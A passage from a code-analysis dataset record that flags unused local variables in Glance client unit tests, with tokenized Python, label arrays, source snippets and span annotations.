"\\u\\u\\uDEDENT\\u\\u\\u_",
"self_",
"._",
"\\u",
"stable",
"\\u",
"dir_",
"=_",
"stable",
"\\u",
"dir_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"stable",
"\\u",
"path_",
"=_",
"stable",
"\\u",
"path_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"self_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"File",
"Reference",
"Context_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"\\u\\u",
"exit\\u\\u_",
"(_",
"self_",
",_",
"exc",
"\\u",
"type_",
",_",
"exc",
"\\u",
"val_",
",_",
"exc",
"\\u",
"tb_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"self_",
"._",
"ignore",
"\\u",
"next",
"\\u",
"exit_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"ignore",
"\\u",
"next",
"\\u",
"exit_",
"=_",
"False_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"False_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"self_",
"._",
"\\u",
"stable",
"\\u",
"dir_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"log_",
"._",
"debug_",
"(_",
"\"",
"Del",
"eti",
"ng",
" ",
"temp",
" ",
"dir",
" ",
"for",
" ",
"link",
" ",
"%",
"s",
"\"_",
",_",
"self_",
"._",
"stable",
"\\u",
"path_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"shutil_",
"._",
"rmtree_",
"(_",
"self_",
"._",
"\\u",
"stable",
"\\u",
"dir_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"\\u",
"stable",
"\\u",
"dir_",
"=_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"stable",
"\\u",
"path_",
"=_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"False_"
]
| [
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
2,
2,
2,
2,
2,
2,
2,
0,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
2,
0,
1,
2,
2,
2,
2,
0,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
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,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Unused local variable | rcbops/glance-buildpackage/glance/tests/unit/test_clients.py | [
{
"content": " def test_ssl_no_key_file(self):\n \"\"\"\n Test that when doing SSL connection, a key file is\n required\n \"\"\"\n try:\n c = client.Client(\"0.0.0.0\", use_ssl=True)\n except exception.ClientConnectionError:\n return\n self.fail(\"Did not raise ClientConnectionError\")",
"metadata": "root.TestBadClients.test_ssl_no_key_file",
"header": "['class', 'TestBadClients', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']",
"index": 58
},
{
"content": " def test_ssl_non_existing_key_file(self):\n \"\"\"\n Test that when doing SSL connection, a key file is\n required to exist\n \"\"\"\n try:\n c = client.Client(\"0.0.0.0\", use_ssl=True,\n key_file='nonexistingfile')\n except exception.ClientConnectionError:\n return\n self.fail(\"Did not raise ClientConnectionError\")",
"metadata": "root.TestBadClients.test_ssl_non_existing_key_file",
"header": "['class', 'TestBadClients', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']",
"index": 69
},
{
"content": " def test_ssl_no_cert_file(self):\n \"\"\"\n Test that when doing SSL connection, a cert file is\n required\n \"\"\"\n try:\n with tempfile.NamedTemporaryFile() as key_file:\n key_file.write(\"bogus\")\n key_file.flush()\n c = client.Client(\"0.0.0.0\", use_ssl=True,\n key_file=key_file.name)\n except exception.ClientConnectionError:\n return\n self.fail(\"Did not raise ClientConnectionError\")",
"metadata": "root.TestBadClients.test_ssl_no_cert_file",
"header": "['class', 'TestBadClients', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']",
"index": 81
},
{
"content": " def test_ssl_non_existing_cert_file(self):\n \"\"\"\n Test that when doing SSL connection, a cert file is\n required to exist\n \"\"\"\n try:\n with tempfile.NamedTemporaryFile() as key_file:\n key_file.write(\"bogus\")\n key_file.flush()\n c = client.Client(\"0.0.0.0\", use_ssl=True,\n key_file=key_file.name,\n cert_file='nonexistingfile')\n except exception.ClientConnectionError:\n return\n self.fail(\"Did not raise ClientConnectionError\")",
"metadata": "root.TestBadClients.test_ssl_non_existing_cert_file",
"header": "['class', 'TestBadClients', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']",
"index": 96
},
{
"content": " def test_ssl_optional_ca_file(self):\n \"\"\"\n Test that when doing SSL connection, a cert file and key file are\n required to exist, but a CA file is optional.\n \"\"\"\n try:\n with tempfile.NamedTemporaryFile() as key_file:\n key_file.write(\"bogus\")\n key_file.flush()\n with tempfile.NamedTemporaryFile() as cert_file:\n cert_file.write(\"bogus\")\n cert_file.flush()\n c = client.Client(\"0.0.0.0\", use_ssl=True,\n key_file=key_file.name,\n cert_file=cert_file.name)\n except exception.ClientConnectionError:\n self.fail(\"Raised ClientConnectionError when it should not\")",
"metadata": "root.TestBadClients.test_ssl_optional_ca_file",
"header": "['class', 'TestBadClients', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']",
"index": 112
},
{
"content": " def test_get_image_details_with_changes_since(self):\n \"\"\"Tests that a detailed call can be filtered by size_min\"\"\"\n dt1 = datetime.datetime.utcnow() - datetime.timedelta(1)\n iso1 = utils.isotime(dt1)\n\n dt2 = datetime.datetime.utcnow() + datetime.timedelta(1)\n iso2 = utils.isotime(dt2)\n\n dt3 = datetime.datetime.utcnow() + datetime.timedelta(2)\n iso3 = utils.isotime(dt3)\n\n dt4 = datetime.datetime.utcnow() + datetime.timedelta(3)\n iso4 = utils.isotime(dt4)\n\n UUID3 = _gen_uuid()\n extra_fixture = {'id': UUID3,\n 'status': 'active',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'name': 'fake image #3',\n 'size': 18,\n 'checksum': None}\n\n db_api.image_create(self.context, extra_fixture)\n db_api.image_destroy(self.context, 3)\n\n UUID4 = _gen_uuid()\n extra_fixture = {'id': UUID4,\n 'status': 'active',\n 'is_public': True,\n 'disk_format': 'ami',\n 'container_format': 'ami',\n 'name': 'fake image #4',\n 'size': 20,\n 'checksum': None,\n 'created_at': dt3,\n 'updated_at': dt3}\n\n db_api.image_create(self.context, extra_fixture)\n\n # Check a standard list, 4 images in db (2 deleted)\n images = self.client.get_images_detailed(filters={})\n self.assertEquals(len(images), 2)\n self.assertEqual(images[0]['id'], UUID4)\n self.assertEqual(images[1]['id'], UUID2)\n\n # Expect 3 images (1 deleted)\n filters = {'changes-since': iso1}\n images = self.client.get_images(filters=filters)\n self.assertEquals(len(images), 3)\n self.assertEqual(images[0]['id'], UUID4)\n self.assertEqual(images[1]['id'], UUID3) # deleted\n self.assertEqual(images[2]['id'], UUID2)\n\n # Expect 1 images (0 deleted)\n filters = {'changes-since': iso2}\n images = self.client.get_images_detailed(filters=filters)\n self.assertEquals(len(images), 1)\n self.assertEqual(images[0]['id'], UUID4)\n\n # Expect 0 images (0 deleted)\n filters = {'changes-since': iso4}\n images = self.client.get_images(filters=filters)\n self.assertEquals(len(images), 0)",
"metadata": "root.TestRegistryClient.test_get_image_details_with_changes_since",
"header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']",
"index": 808
},
{
"content": " def test_get_image_details_with_changes_since(self):\n \"\"\"Tests that a detailed call can be filtered by size_min\"\"\"\n dt1 = datetime.datetime.utcnow() - datetime.timedelta(1)\n iso1 = utils.isotime(dt1)\n\n dt2 = datetime.datetime.utcnow() + datetime.timedelta(1)\n iso2 = utils.isotime(dt2)\n\n dt3 = datetime.datetime.utcnow() + datetime.timedelta(2)\n iso3 = utils.isotime(dt3)\n\n dt4 = datetime.datetime.utcnow() + datetime.timedelta(3)\n iso4 = utils.isotime(dt4)\n\n UUID3 = _gen_uuid()\n extra_fixture = {'id': UUID3,\n 'status': 'active',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'name': 'fake image #3',\n 'size': 18,\n 'checksum': None}\n\n db_api.image_create(self.context, extra_fixture)\n db_api.image_destroy(self.context, UUID3)\n\n UUID4 = _gen_uuid()\n extra_fixture = {'id': UUID4,\n 'status': 'active',\n 'is_public': True,\n 'disk_format': 'ami',\n 'container_format': 'ami',\n 'name': 'fake image #4',\n 'size': 20,\n 'checksum': None,\n 'created_at': dt3,\n 'updated_at': dt3}\n\n db_api.image_create(self.context, extra_fixture)\n\n # Check a standard list, 4 images in db (2 deleted)\n images = self.client.get_images_detailed(filters={})\n self.assertEquals(len(images), 2)\n self.assertEqual(images[0]['id'], UUID4)\n self.assertEqual(images[1]['id'], UUID2)\n\n # Expect 3 images (1 deleted)\n filters = {'changes-since': iso1}\n images = self.client.get_images(filters=filters)\n self.assertEquals(len(images), 3)\n self.assertEqual(images[0]['id'], UUID4)\n self.assertEqual(images[1]['id'], UUID3) # deleted\n self.assertEqual(images[2]['id'], UUID2)\n\n # Expect 1 images (0 deleted)\n filters = {'changes-since': iso2}\n images = self.client.get_images_detailed(filters=filters)\n self.assertEquals(len(images), 1)\n self.assertEqual(images[0]['id'], UUID4)\n\n # Expect 0 images (0 deleted)\n filters = {'changes-since': iso4}\n images = self.client.get_images(filters=filters)\n self.assertEquals(len(images), 0)",
"metadata": "root.TestClient.test_get_image_details_with_changes_since",
"header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']",
"index": 1475
}
]
| [
{
"span": "c ",
"start_line": 64,
"start_column": 12,
"end_line": 64,
"end_column": 13
},
{
"span": "c ",
"start_line": 75,
"start_column": 12,
"end_line": 75,
"end_column": 13
},
{
"span": "c ",
"start_line": 90,
"start_column": 16,
"end_line": 90,
"end_column": 17
},
{
"span": "c ",
"start_line": 105,
"start_column": 16,
"end_line": 105,
"end_column": 17
},
{
"span": "c ",
"start_line": 124,
"start_column": 20,
"end_line": 124,
"end_column": 21
},
{
"span": "iso3 ",
"start_line": 817,
"start_column": 8,
"end_line": 817,
"end_column": 12
},
{
"span": "iso3 ",
"start_line": 1484,
"start_column": 8,
"end_line": 1484,
"end_column": 12
}
]
| []
| 1 | true | [
"[CLS]_",
"Un",
"used_",
"local_",
"variable_",
"[SEP]_",
"class_",
"Test",
"Ba",
"d",
"Client",
"s_",
"(_",
"unittest_",
"._",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"ssl",
"\\u",
"no",
"\\u",
"key",
"\\u",
"file_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Test",
" ",
"tha",
"t",
" ",
"whe",
"n",
" ",
"doi",
"ng",
" ",
"SS",
"L",
" ",
"connecti",
"on",
",",
" ",
"a",
" ",
"key",
" ",
"file",
" ",
"is",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"require",
"d",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"c_",
"=_",
"client_",
"._",
"Client_",
"(_",
"\"",
"0.",
"0.",
"0.",
"0",
"\"_",
",_",
"use",
"\\u",
"ssl_",
"=_",
"True_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
"exception_",
"._",
"Client",
"Connect",
"ion",
"Error_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"self_",
"._",
"fail_",
"(_",
"\"",
"Di",
"d",
" ",
"not",
" ",
"raise",
" ",
"Client",
"Connect",
"ion",
"Error",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Test",
"Ba",
"d",
"Client",
"s_",
"(_",
"unittest_",
"._",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"ssl",
"\\u",
"non",
"\\u",
"exist",
"ing",
"\\u",
"key",
"\\u",
"file_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Test",
" ",
"tha",
"t",
" ",
"whe",
"n",
" ",
"doi",
"ng",
" ",
"SS",
"L",
" ",
"connecti",
"on",
",",
" ",
"a",
" ",
"key",
" ",
"file",
" ",
"is",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"require",
"d",
" ",
"to",
" ",
"exist",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"c_",
"=_",
"client_",
"._",
"Client_",
"(_",
"\"",
"0.",
"0.",
"0.",
"0",
"\"_",
",_",
"use",
"\\u",
"ssl_",
"=_",
"True_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"key",
"\\u",
"file_",
"=_",
"'",
"nonexist",
"ing",
"file",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
"exception_",
"._",
"Client",
"Connect",
"ion",
"Error_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"self_",
"._",
"fail_",
"(_",
"\"",
"Di",
"d",
" ",
"not",
" ",
"raise",
" ",
"Client",
"Connect",
"ion",
"Error",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Test",
"Ba",
"d",
"Client",
"s_",
"(_",
"unittest_",
"._",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"ssl",
"\\u",
"no",
"\\u",
"cert",
"\\u",
"file_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Test",
" ",
"tha",
"t",
" ",
"whe",
"n",
" ",
"doi",
"ng",
" ",
"SS",
"L",
" ",
"connecti",
"on",
",",
" ",
"a",
" ",
"cert",
" ",
"file",
" ",
"is",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"require",
"d",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"with_",
"tempfile_",
"._",
"Name",
"d",
"Tempora",
"ry",
"File_",
"(_",
")_",
"as_",
"key",
"\\u",
"file_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"key",
"\\u",
"file_",
"._",
"write_",
"(_",
"\"",
"bog",
"us",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"key",
"\\u",
"file_",
"._",
"flush_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"c_",
"=_",
"client_",
"._",
"Client_",
"(_",
"\"",
"0.",
"0.",
"0.",
"0",
"\"_",
",_",
"use",
"\\u",
"ssl_",
"=_",
"True_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"key",
"\\u",
"file_",
"=_",
"key",
"\\u",
"file_",
"._",
"name_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
"exception_",
"._",
"Client",
"Connect",
"ion",
"Error_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"self_",
"._",
"fail_",
"(_",
"\"",
"Di",
"d",
" ",
"not",
" ",
"raise",
" ",
"Client",
"Connect",
"ion",
"Error",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Test",
"Ba",
"d",
"Client",
"s_",
"(_",
"unittest_",
"._",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"ssl",
"\\u",
"non",
"\\u",
"exist",
"ing",
"\\u",
"cert",
"\\u",
"file_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Test",
" ",
"tha",
"t",
" ",
"whe",
"n",
" ",
"doi",
"ng",
" ",
"SS",
"L",
" ",
"connecti",
"on",
",",
" ",
"a",
" ",
"cert",
" ",
"file",
" ",
"is",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"require",
"d",
" ",
"to",
" ",
"exist",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"with_",
"tempfile_",
"._",
"Name",
"d",
"Tempora",
"ry",
"File_",
"(_",
")_",
"as_",
"key",
"\\u",
"file_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"key",
"\\u",
"file_",
"._",
"write_",
"(_",
"\"",
"bog",
"us",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"key",
"\\u",
"file_",
"._",
"flush_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"c_",
"=_",
"client_",
"._",
"Client_",
"(_",
"\"",
"0.",
"0.",
"0.",
"0",
"\"_",
",_",
"use",
"\\u",
"ssl_",
"=_",
"True_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"key",
"\\u",
"file_",
"=_",
"key",
"\\u",
"file_",
"._",
"name_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"cert",
"\\u",
"file_",
"=_",
"'",
"nonexist",
"ing",
"file",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
"exception_",
"._",
"Client",
"Connect",
"ion",
"Error_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"self_",
"._",
"fail_",
"(_",
"\"",
"Di",
"d",
" ",
"not",
" ",
"raise",
" ",
"Client",
"Connect",
"ion",
"Error",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Test",
"Ba",
"d",
"Client",
"s_",
"(_",
"unittest_",
"._",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"ssl",
"\\u",
"option",
"al",
"\\u",
"ca",
"\\u",
"file_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Test",
" ",
"tha",
"t",
" ",
"whe",
"n",
" ",
"doi",
"ng",
" ",
"SS",
"L",
" ",
"connecti",
"on",
",",
" ",
"a",
" ",
"cert",
" ",
"file",
" ",
"and",
" ",
"key",
" ",
"file",
" ",
"are",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"require",
"d",
" ",
"to",
" ",
"exist",
",",
" ",
"but",
" ",
"a",
" ",
"CA",
" ",
"file",
" ",
"is",
" ",
"option",
"al",
".",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"with_",
"tempfile_",
"._",
"Name",
"d",
"Tempora",
"ry",
"File_",
"(_",
")_",
"as_",
"key",
"\\u",
"file_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"key",
"\\u",
"file_",
"._",
"write_",
"(_",
"\"",
"bog",
"us",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"key",
"\\u",
"file_",
"._",
"flush_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"with_",
"tempfile_",
"._",
"Name",
"d",
"Tempora",
"ry",
"File_",
"(_",
")_",
"as_",
"cert",
"\\u",
"file_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
"_",
"cert",
"\\u",
"file_",
"._",
"write_",
"(_",
"\"",
"bog",
"us",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"cert",
"\\u",
"file_",
"._",
"flush_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"c_",
"=_",
"client_",
"._",
"Client_",
"(_",
"\"",
"0.",
"0.",
"0.",
"0",
"\"_",
",_",
"use",
"\\u",
"ssl_",
"=_",
"True_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"key",
"\\u",
"file_",
"=_",
"key",
"\\u",
"file_",
"._",
"name_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"cert",
"\\u",
"file_",
"=_",
"cert",
"\\u",
"file_",
"._",
"name_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
"exception_",
"._",
"Client",
"Connect",
"ion",
"Error_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"fail_",
"(_",
"\"",
"Rai",
"sed",
" ",
"Client",
"Connect",
"ion",
"Error",
" ",
"whe",
"n",
" ",
"it",
" ",
"shou",
"ld",
" ",
"not",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Test",
"Regi",
"stry",
"Client_",
"(_",
"base_",
"._",
"Isolat",
"ed",
"Unit",
"Test_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"get",
"\\u",
"image",
"\\u",
"deta",
"il",
"s",
"\\u",
"with",
"\\u",
"change",
"s",
"\\u",
"since_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"Test",
"s",
" ",
"tha",
"t",
" ",
"a",
" ",
"detailed",
" ",
"call",
" ",
"can",
" ",
"be",
" ",
"filter",
"ed",
" ",
"by",
" ",
"size",
"\\u",
"min",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"dt",
"1_",
"=_",
"datetime_",
"._",
"datetime_",
"._",
"utcnow_",
"(_",
")_",
"-_",
"datetime_",
"._",
"timedelta_",
"(_",
"1_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"iso",
"1_",
"=_",
"utils_",
"._",
"isot",
"ime_",
"(_",
"dt",
"1_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"dt",
"2_",
"=_",
"datetime_",
"._",
"datetime_",
"._",
"utcnow_",
"(_",
")_",
"+_",
"datetime_",
"._",
"timedelta_",
"(_",
"1_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"iso",
"2_",
"=_",
"utils_",
"._",
"isot",
"ime_",
"(_",
"dt",
"2_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"dt",
"3_",
"=_",
"datetime_",
"._",
"datetime_",
"._",
"utcnow_",
"(_",
")_",
"+_",
"datetime_",
"._",
"timedelta_",
"(_",
"2_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"iso",
"3_",
"=_",
"utils_",
"._",
"isot",
"ime_",
"(_",
"dt",
"3_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"dt",
"4_",
"=_",
"datetime_",
"._",
"datetime_",
"._",
"utcnow_",
"(_",
")_",
"+_",
"datetime_",
"._",
"timedelta_",
"(_",
"3_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"iso",
"4_",
"=_",
"utils_",
"._",
"isot",
"ime_",
"(_",
"dt",
"4_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"UU",
"ID",
"3_",
"=_",
"\\u",
"gen",
"\\u",
"uuid_",
"(_",
")_",
